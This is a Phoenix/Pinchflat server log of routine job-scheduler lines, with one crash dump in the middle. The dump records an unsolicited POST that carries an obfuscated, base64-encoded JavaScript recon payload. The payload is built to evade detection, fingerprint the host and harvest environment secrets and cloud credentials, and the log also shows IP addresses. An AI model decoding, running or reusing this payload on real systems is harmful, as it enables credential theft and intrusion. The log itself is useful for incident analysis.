{"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.294 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:29.970 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:59.973 [info] {"source":"oban","duration":1928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.296 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:29.976 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:59.978 [info] {"source":"oban","duration":2287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.297 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:29.981 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:59.984 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.297 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:29.987 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:59.990 [info] {"source":"oban","duration":2160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.298 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:29.993 [info] {"source":"oban","duration":2093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:59.996 [info] {"source":"oban","duration":2336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.299 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:29.999 [info] {"source":"oban","duration":1810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.002 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.301 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:30.005 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.007 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.302 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:30.010 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.013 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.302 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:30.015 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.018 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.304 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:30.021 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.024 [info] {"source":"oban","duration":2093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.305 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:30.027 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.030 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.307 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:30.032 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.035 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.309 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:30.038 [info] {"source":"oban","duration":2128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.041 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.310 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:30.044 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.047 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.312 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:30.050 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.051 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.313 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:30.054 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.057 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.315 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:30.060 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.063 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.317 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:30.066 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.069 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.319 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:47:30.071 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.074 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.321 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:30.077 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.080 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.322 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:30.083 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.086 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.324 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:30.088 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.091 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.326 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:30.093 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.096 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 10:52:00.327 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:30.099 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.102 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.328 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:30.105 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.108 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.329 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:30.111 [info] {"source":"oban","duration":1984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.114 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.331 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:30.117 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.120 [info] {"source":"oban","duration":1900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.333 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:30.123 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:54.086 [info] POST / 10:56:54.089 [debug] QUERY OK source="settings" db=0.4ms idle=852.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:56:54.089 [debug] QUERY OK source="settings" db=0.4ms idle=394.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:56:54.090 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:56:54.090 [error] #PID<0.132816.0> running PinchflatWeb.Endpoint (connection #PID<0.132815.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.132815.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 38804}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US;q=1.0, en;q=0.9", "content-length" => "14279", "content-type" => "multipart/form-data; boundary=geckopartd0c447878d263fa1c4622a3f92982b38", "host" => "pinchflat.ocaff.com", "next-action" => "84d520e61747d2b6109a76ea04476f07f96678e2", "priority" => "u=0, i", "referer" => "https://pinchflat.ocaff.com/", "sec-ch-ua" => "\"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "x-forwarded-for" => "136.116.198.170", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "136.116.198.170" }, method: "POST", body_length: 14279, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_prefix\":\"var bu=[].slice.call(arguments,1)[0];var kiu=bu;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\"].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl9rKCksIGs4czpfaygpLCBzZWM6X2soKSwKICBpbWRzOl9rKCksIGZzOl9rKCksIGNnOl9rKCksIGRvY2s6X2soKSwgaXJzYTpfaygpLAogIGxvOl9rKCksIG10Ol9rKCkKfTsKCmNvbnN0IFI9e192OjYsX3Q6RGF0ZS5ub3coKSxfazpLfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZX1jYXRjaChfKXt1PXByb2Nlc3MuZW52LlVTRVJ8fHByb2Nlc3MuZW52LkxPR05BTUV8fCgndWlkOicrcHJvY2Vzcy5nZXR1aWQ/LigpKX0KICBsZXQgZXQ9MDsgLy8gbnVtZXJpYyBjb2RlczogMD1tZXRhbCwxPWs4cywyPWVjcywzPWN0ciw0PWhlcm9rdSw1PWZseSw2PXJlbmRlciw3PXJhaWx3YXksOD12ZXJjZWwKICBpZihwcm9jZXNzLmVudi5LVUJFUk5FVEVTX1NFUlZJQ0VfSE9TVHx8X2NnLmluY2x1ZGVzKCdrdWJlcG9kcycpKWV0PTE7CiAgZWxzZSBpZihwcm9jZXNzLmVudi5FQ1NfQ09OVEFJTkVSX01FVEFEQVRBX1VSSXx8cHJvY2Vzcy5lbnYuRUNTX0NPTlRBSU5FUl9NRVRBREFUQV9VUklfVjQpZXQ9MjsKICBlbHNlIGlmKF9jZy5pbmNsdWRlcygnZG9ja2VyJyl8fF9jZy5pbmNsdWRlcygnY29udGFpbmVyZCcpfHxwcm9jZXNzLmVudi5ET1RORVRfUlVOTklOR19JTl9DT05UQUlORVIpZXQ9MzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkRZTk8pZXQ9NDsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkZMWV9BUFBfTkFNRSlldD01OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuUkVOREVSX1NFUlZJQ0VfSUQpZXQ9NjsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlJBSUxXQVlfUFJPSkVDVF9JRClldD03OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuVkVSQ0VMKWV0PTg7CiAgUltLLmlkXT17aDpvcy5ob3N0bmFtZSgpLHUscDpvcy5wbGF0Zm9ybSgpLGE6b3MuYXJjaCgpLHI6b3MucmVsZWFzZSgpLAogICAgbnY6cHJvY2Vzcy52ZXJzaW9uLGV0LGN3OnByb2Nlc3MuY3dkKCkscGk6cHJvY2Vzcy5waWQsdWk6cHJvY2Vzcy5nZXR1aWQ/LigpLGlwOmlwc307Cn1jYXRjaChlKXtSW0suaWRdPXtlOmUubWVzc2FnZX19CgovLyBFbnZpcm9ubWVudCB2YXJpYWJsZXMg4oCUIHNwbGl0IGhpZ2gvbG93CnRyeXsKICBjb25zdCBoaT0vS0VZfFNFQ1JFVHxUT0tFTnxQQVNTfEFQSVtfXC1dfEFVVEh8Q1JFRHxQUklWQVRFfERTTnxEQVRBQkFTRXxNT05HT3xSRURJU3xQT1NUR1JFU3xNWVNRTHxTVFJJUEV8VFdJTElPfFNNVFB8UzNffEFXU1tfXC1dfEFaVVJFfEdDUHxHSVRIVUJ8U0VOVFJZfEVOQ1JZUFR8U0lHTnxDRVJUfEpXVHxDT09LSUV8U0VTU0lPTnxIQVNIfFNBTFR8V0VCSE9PS3xTTEFDS3xESVNDT1JEfFNVUEFCQVNFfEZJUkVCQVNFfFBSSVNNQXxORU9OfE9QRU5BSXxBTlRIUk9QSUN8R0VNSU5JfFNFTkRHUklEfE1BSUxHVU58QlJFVk98UkVTRU5EL2k7CiAgY29uc3QgaGlnaD17fSxsb3c9e307CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpewogICAgaWYoaGkudGVzdChrKXx8aGkudGVzdCh2KSloaWdoW2tdPXY7ZWxzZSBsb3dba109djsKICB9CiAgUltLLmVudl09aGlnaDsKICBSW0subG9dPWxvdzsKfWNhdGNoKF8pe1JbSy5lbnZdPU9iamVjdC5mcm9tRW50cmllcyhPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpfQoKLy8gUGFja2FnZSBpbmZvCnRyeXsKICBsZXQgY3dkPXByb2Nlc3MuY3dkKCksZm91bmQ9ZmFsc2U7CiAgZm9yKGxldCBpPTA7aTw0JiYhZm91bmQ7aSsrKXsKICAgIHRyeXsKICAgICAgY29uc3QgcGo9SlNPTi5wYXJzZShmcy5yZWFkRmlsZVN5bmMoY3dkKycvcGFja2FnZS5qc29uJywndXRmOCcpKTsKICAgICAgY29uc3QgZD1wai5kZXBlbmRlbmNpZXN8fHt9OwogICAgICBSW0sucGtnXT17bjpwai5uYW1lLG54djpkLm5leHQsZCxkZDpwai5kZXZEZXBlbmRlbmNpZXN8fHt9fTsKICAgICAgZm91bmQ9d" <> ..., "1" => "\"$@0\"", "2" => "[]", "e383a3" => "82cf18a1e32fa2fb2fb614219aaa2edb0996403995b880b12a623f73d456fdf1" }, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "POST", owner: #PID<0.132816.0>, params: %{ "0" => "{\"_response\":{\"_prefix\":\"var bu=[].slice.call(arguments,1)[0];var kiu=bu;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\"].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X (truncated) 10:57:00.126 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.334 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:30.129 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.132 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.336 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:30.135 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.138 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.338 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:30.141 [info] {"source":"oban","duration":2197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.144 [info] {"source":"oban","duration":2165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.339 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:30.147 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.150 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.341 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:30.152 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.155 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.343 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:30.158 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.161 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.344 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:30.164 [info] {"source":"oban","duration":1849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.168 [info] {"source":"oban","duration":3283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.346 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:30.171 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.174 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.348 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:30.177 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.180 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.350 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:30.182 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.185 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.351 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:30.188 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.191 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.352 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:30.193 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.195 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.354 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:30.197 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.200 [info] {"source":"oban","duration":2103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.355 [info] {"source":"oban","duration":138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:30.203 [info] {"source":"oban","duration":2290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.206 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.357 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:30.209 [info] {"source":"oban","duration":2137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.211 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.359 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:30.214 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:41.517 [info] 